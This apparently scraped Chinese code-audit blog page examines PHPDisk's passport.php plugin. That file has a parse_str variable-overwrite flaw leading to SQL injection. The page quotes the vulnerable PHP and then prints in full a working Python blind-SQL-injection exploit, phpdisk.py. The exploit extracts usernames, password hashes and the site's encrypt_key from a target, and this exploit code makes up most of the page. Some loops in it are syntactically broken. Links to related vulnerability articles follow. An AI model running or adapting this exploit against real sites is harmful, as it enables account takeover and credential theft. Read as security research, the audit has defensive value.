代码审核

文件 plugins\phpdisk_client\passport.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$str = $_SERVER['QUERY_STRING'];
 
if($str){
    parse_str(base64_decode($str));// 触发函数
}else{
    exit('Error Param');
}
/*$username = trim(gpc('username','G',''));
$password = trim(gpc('password','G',''));
$sign = trim(gpc('sign','G',''));*/
 
if($sign!=strtoupper(md5($action.$username.$password))){
    exit('No data,Code:2!');
}
 
$username = is_utf8() ? convert_str('gbk','utf-8',$username) : $username;
 
if($action=='passportlogin'){
 
    $rs = $db->fetch_one_array("select userid,gid,username,password,email from {$tpf}users where username='$username' and password='$password' limit 1");  //覆盖tpf

phpdisk.py exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#===============================================================================
# Id :phpdisk.y
# Author:Yaseng
#===============================================================================
import   sys, urllib2, time, os , Queue, msvcrt, threading,re,base64,md5,hashlib,binascii,cookielib
 
def cslogo():
    print '''
  ___  ___  ____  ____  ____  __      __   _  _
 / __)/ _ \(  _ \( ___)(  _ \(  )    /__\ ( \/ )
( (__( (_) ))(_) ))__)  )___/ )(__  /(__)\ \  /
 \___)\___/(____/(____)(__)  (____)(__)(__)(__)
 Name:phpdisk bind sql injection  exploit
 Author:Yaseng [yaseng@uauc.net]
 Usage:phpdisk.py  site[www.yaseng.me]   id[1]
'''
 
# show message
def msg(text, type=0):
    if type == 0:
       str_def = "[*]"
    elif  type == 1:
       str_def = "[+]"
    else:
       str_def = "[-]";
    print str_def + text;
 
# get url data
def get_data(url):
    try:
      r = urllib2.urlopen(url, timeout=10)
      return r.read()
    except :
     return 0
def b(url):
     if   get_data(url).find("ssport Err",0) != -1 :
        return 0
     return 1
 
def make_plyload(payload):
     return   target+"?"+base64.b64encode("username=1&password=1&action=passportlogin&tpf="+payload+"&sign="+md5.new("passportlogin"+"1"+"1").hexdigest().upper())
 
def get_username():
 
    msg("get  username ...")
    global  pass_list
    len=0
    for i in range(40) :
         if  b(make_plyload("pd_users  WHERE 1   and   (SELECT  LENGTH(username)  from  pd_users where userid=%d )= %d  #" % (uid,i))):
            len=i
            msg("username length:%d" % len,1)
            break
    global  key_list
    key_list=['0','1','2','3','4','5','6','7','8','9']
    key_list+=map(chr,range(97,123))
    username=""
    for in range(len) :
       for key in key_list :
            t=key
            if type(key) != int :
                t="0x"+binascii.hexlify(key)
            if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(username,%d,1)   from  pd_users  where userid=%d )=%s #" % (i+1,uid,t)))) :
             msg("username [%d]:%s" % (i+1,key))
             username+=key
             break
    msg("username:"+username,1)
    return  username
 
def get_password():  
 
     pass_list=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
     password=""
     for in range(32) :
        for key in pass_list :
             t=key
             if type(key) != int :
                 t="0x"+binascii.hexlify(key)
             if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(password,%d,1)     from  pd_users  where userid=%d )= %s #" % (i+1,uid,t)))) :
              msg("password [%d]:%s" % (i+1,key))
              password+=key
              break
     msg("username:"+password,1)
     return password    
 
def get_encrypt_key():
 
    msg("get encrypt_key ...")
    global  pass_list
    pass_list=map(chr,range(97,123))
    len=0
    for i in range(40) :
        if  b(make_plyload("pd_users  WHERE 1   and   ( SELECT  LENGTH(value)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )=%d  #23" % i)):
            len=i
            msg("encrypt_key length:%d" % len,1)
            break
    global  key_list
    key_list=['0','1','2','3','4','5','6','7','8','9']
    key_list+=map(chr,range(65,91)+range(97,123))
    encrypt_key=""
    for in range(len) :
       for key in key_list :
         t=key
         if type(key) != int :
            t="0x"+binascii.hexlify(key)
         if(b(make_plyload(" pd_users WHERE 1   and   ( SELECT  binary(substr(value,%d,1))  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = %s #" % (i+1,t)))) :
          msg("key [%d]:%s" % (i+1,key))
          encrypt_key+=key
          break
    msg("encrypt_key:"+encrypt_key,1)
    return  encrypt_key
 
if __name__ == '__main__':
 
   cslogo()
   if len(sys.argv) > 1 :
    site=sys.argv[1];
    global target
    global uid
    try :
     uid=int(sys.argv[2]);
    except :
      uid =1
    target=site+"/plugins/phpdisk_client/passport.php"
    msg("exploit:"+site)
   #print get_data(make_plyload(" pd_users WHERE 1   and   ( SELECT  substr(value,2,1)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = 9 %23"))
    if get_data(target) :
       username=get_username()
       if len(username) > 0 :
         password=get_password()
         if len(password) == 32 :
            msg("Succeed: username:%s  password:%s" % (username,password),1)
    else :
       msg("vulnerability  not  exits",2);
       exit();

phpdisk 盲注 &前台任意用户登录的更多相关文章

  1. 通达OA 前台任意用户登录漏洞复现

    漏洞描述 通达OA是一套办公系统.通达OA官方于4月17日发布安全更新.经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞.攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身 ...

  2. 【漏洞分析】dedecms有前提前台任意用户密码修改

     0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...

  3. 代码审计-DedeCMS-V5.7前台任意用户密码重置

    0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...

  4. WEB安全系列之如何挖掘任意用户登录漏洞

    WEB安全系列之如何挖掘任意用户登录漏洞 0x01  前言        每周两篇文章打卡.坏蛋100块钱都不给我,好坏好坏的. 0x02  什么是任意用户登录漏洞   几乎每个网站都有自己的会员系统 ...

  5. 通达OA任意用户登录 漏洞复现

    0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞.攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系 ...

  6. 通达OA任意用户登录漏洞复现

    前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...

  7. ApachShiro 一个系统 两套验证方法-(后台管理员登录、前台App用户登录)同一接口实现、源码分析

    需求: 在公司新的系统里面博主我使用的是ApachShiro 作为安全框架.作为后端的鉴权以及登录.分配权限等操作 管理员的信息都是存储在管理员表 前台App 用户也需要校验用户名和密码进行登录.但是 ...

  8. YII用户注冊和用户登录(五)之进行session和cookie分析 ,并在前后区分session和cookie

    5 进行session和cookie分析 ,并在前后区分session和cookie: 记住登录状态 这样下次再登录站点的时候.就不用反复输入username和password. 是浏览器的cooki ...

  9. YII用户注冊和用户登录(二)之登录和注冊在视图通过表单使用YII小物件并分析

    2 登录和注冊在视图通过表单使用YII小物件并分析 <?php $form = $this -> beginWidget('CActiveForm', array( 'enableClie ...

随机推荐

  1. Nginx 解决504 Error 最简单的方法

    <?php // Where am I ? set_time_limit(0); 就这个多,当然了,服务器还是务求稳妥,应当结合服务器和业务需求从配置上优化,才是正理.

  2. php之微型博客的创建

    一,微型博客的开发思路 微型博客的创建,确定无疑我们会用到PHP和mysql之间的增添删改查,首先来看一下思维导图: 搭建好计算机里的apache php 和mysql的联动功能,打开phpmyadm ...

  3. 大数据Hadoop的HA高可用架构集群部署

        1 概述 在Hadoop 2.0.0之前,一个Hadoop集群只有一个NameNode,那么NameNode就会存在单点故障的问题,幸运的是Hadoop 2.0.0之后解决了这个问题,即支持N ...

  4. UVA 514 - Rails ( 铁轨)

    from my CSDN: https://blog.csdn.net/su_cicada/article/details/86939523 例题6-2 铁轨(Rails, ACM/ICPC CERC ...

  5. Git 命令及使用经验

    手册中的基本命令: CONFIGURE TOOLING Configure user information for all local repositories $ git config --glo ...

  6. hadoop deployment

    本文主要是以安装和使用hadoop-0.12.0为例,指出在部署Hadoop的时候容易遇到的问题以及如何解决. 硬件环境共有3台机器,均使用的FC5系统,Java使用的是jdk1.6.0.IP配置如下 ...

  7. PostgreSQL的hstore初步学习

    安装hstore: 进入源代码的 /contrib/hstore 目录,然后执行gmake 和 gmake install: [root@pg200 hstore]# gmake gcc -O2 -W ...

  8. Apache入门篇(三)之apache2.4.33的新特性解析与虚拟主机实战

    1.http 2.4新特性 新特性: (1) 在编译时可以将多个MPM构建为可加载模块,可以在运行时通过LoadModule指令配置所选的MPM: (2) 2.2版本的event MPM在实验阶段,到 ...

  9. IAR里面STM32工程使用printf

    1. 首先打开工程的options设置 2. 设置编译器的预宏定义,添加宏定义_DLIB_FILE_DESCRIPTOR 3. 修改文件DLib_Defaults.h DLib_Defaults.h ...

  10. ubuntu/linux系统中安装jdk以及eclipse(附图解详细步骤)

    1.首先得先下载JDK和eclipsejdk下载网址:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-21 ...